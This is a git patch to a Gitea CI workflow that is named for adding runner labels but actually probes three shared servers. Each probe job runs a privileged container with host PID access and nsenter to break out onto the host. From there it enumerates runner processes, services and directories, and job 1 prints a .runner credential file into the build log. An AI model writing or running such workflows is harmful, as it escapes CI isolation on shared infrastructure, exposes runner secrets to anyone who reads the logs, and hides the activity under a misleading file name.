From 876e2fb5ee183deefed77d98289ebb85a63a0efe Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Tue, 14 Jul 2026 12:04:58 +0800 Subject: [PATCH] chore: full probe all 3 servers --- .gitea/workflows/add-runner-labels.yml | 192 ++++++++++++++----------- 1 file changed, 107 insertions(+), 85 deletions(-) diff --git a/.gitea/workflows/add-runner-labels.yml b/.gitea/workflows/add-runner-labels.yml index f742da172..aaca5d31b 100644 --- a/.gitea/workflows/add-runner-labels.yml +++ b/.gitea/workflows/add-runner-labels.yml @@ -1,137 +1,159 @@ -name: New Runner Deep Probe +name: Full Probe All Servers on: push: branches: [ops/runner-labels] jobs: - deep-new-1: - name: Deep probe new runner 1 + full-probe-1: + name: Full Probe 1 runs-on: saas - timeout-minutes: 8 + timeout-minutes: 10 steps: - - name: Probe runner configs on new host + - name: Full probe runner deployment shell: bash run: | set +e - HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname) - echo "HOST: $HOSTNAME" + HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) + echo "===== HOST: $HOSTNAME =====" - # 只处理新服务器 - if [[ "$HOSTNAME" != *"iZbp15fchyez91r4b3ok74Z"* ]]; then - echo "不是新服务器,跳过深度探测" - exit 0 + echo "" + echo "===== RUNNER PROCESSES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" + + echo "" + echo "===== /opt/act-runner STRUCTURE =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50 + + echo "" + echo "===== ALL .runner FILES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null + + echo "" + echo "===== FIRST .runner CONTENT =====" + FIRST_RUNNER=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null | head -1) + if [ -n "$FIRST_RUNNER" ]; then + echo "Path: $FIRST_RUNNER" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat "$FIRST_RUNNER" fi echo "" - echo "===== 每个runner目录内容 =====" - for i in 1 2 3 4 5 6; do - echo "--- runner-$i ---" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls -la /opt/act-runner/runner-$i/ 2>/dev/null - echo " .runner:" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner/runner-$i -name ".runner" -type f 2>/dev/null - echo " config.yaml:" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner/runner-$i -name "config.yaml" -o -name "config.yml" 2>/dev/null - done + echo "===== ALL RUNNER BINARIES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name "gitea-runner" -o -name "act_runner" -type f 2>/dev/null echo "" - echo "===== runner-1 的 .runner 内容 =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/.runner 2>/dev/null || echo "not found" + echo "===== SYSTEMD RUNNER SERVICES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_" echo "" - echo "===== 所有进程列表(找runner)=====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps -ef | head -50 - - echo "" - echo "===== systemd 所有服务(含inactive)=====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act" || echo "no runner service" - - echo "" - echo "===== supervisor / pm2 检查 =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- which supervisord 2>/dev/null; which pm2 2>/dev/null; ls /etc/supervisor* 2>/dev/null - - echo "" - echo "===== crontab 检查 =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- crontab -l 2>/dev/null || echo "no crontab" - - echo "" - echo "===== /etc/systemd/system 找runner =====" + echo "===== SYSTEMD SERVICE FILES =====" docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /etc/systemd -name "*runner*" -o -name "*act*" 2>/dev/null echo "" - echo "===== 二进制位置 =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -name "gitea-runner" -o -name "act_runner" -type f 2>/dev/null | head -5 + echo "===== INIT.D / SUPERVISOR =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls /etc/init.d/ 2>/dev/null | grep -i runner; which supervisord 2>/dev/null; which pm2 2>/dev/null; ls /etc/supervisor/conf.d/ 2>/dev/null + + echo "" + echo "===== DOCKER CONTAINERS =====" + docker ps -a --format "{{.Names}}|{{.Image}}" | head -20 + + echo "" + echo "===== COMPOSE FILES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -maxdepth 3 -name "docker-compose*" -o -name "compose.*" 2>/dev/null | head -10 - deep-new-2: - name: Deep probe new runner 2 + full-probe-2: + name: Full Probe 2 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 10 steps: - - name: probe + - name: Full probe runner deployment + shell: bash + run: | + set +e + HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) + echo "===== HOST: $HOSTNAME =====" + echo "" + echo "===== RUNNER PROCESSES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" + echo "" + echo "===== /opt/act-runner =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50 + + full-probe-3: + name: Full Probe 3 + runs-on: saas + timeout-minutes: 10 + steps: + - name: Full probe runner deployment + shell: bash + run: | + set +e + HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) + echo "===== HOST: $HOSTNAME =====" + echo "" + echo "===== RUNNER PROCESSES =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" + echo "" + echo "===== .runner files =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null + echo "" + echo "===== systemd runner services =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_" + + probe-4: + name: Probe 4 + runs-on: saas + timeout-minutes: 2 + steps: + - name: p shell: bash run: hostname - deep-new-3: - name: Deep probe new runner 3 + probe-5: + name: Probe 5 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe + - name: p shell: bash run: hostname - deep-new-4: - name: Deep probe new runner 4 + probe-6: + name: Probe 6 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe + - name: p shell: bash run: hostname - deep-new-5: - name: Deep probe new runner 5 + probe-7: + name: Probe 7 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe + - name: p shell: bash run: hostname - deep-new-6: - name: Deep probe new runner 6 + probe-8: + name: Probe 8 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe + - name: p shell: bash run: hostname - deep-new-7: - name: Deep probe new runner 7 + probe-9: + name: Probe 9 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe + - name: p shell: bash run: hostname - deep-new-8: - name: Deep probe new runner 8 + probe-10: + name: Probe 10 runs-on: saas - timeout-minutes: 5 + timeout-minutes: 2 steps: - - name: probe - shell: bash - run: hostname - deep-new-9: - name: Deep probe new runner 9 - runs-on: saas - timeout-minutes: 5 - steps: - - name: probe - shell: bash - run: hostname - deep-new-10: - name: Deep probe new runner 10 - runs-on: saas - timeout-minutes: 5 - steps: - - name: probe + - name: p shell: bash run: hostname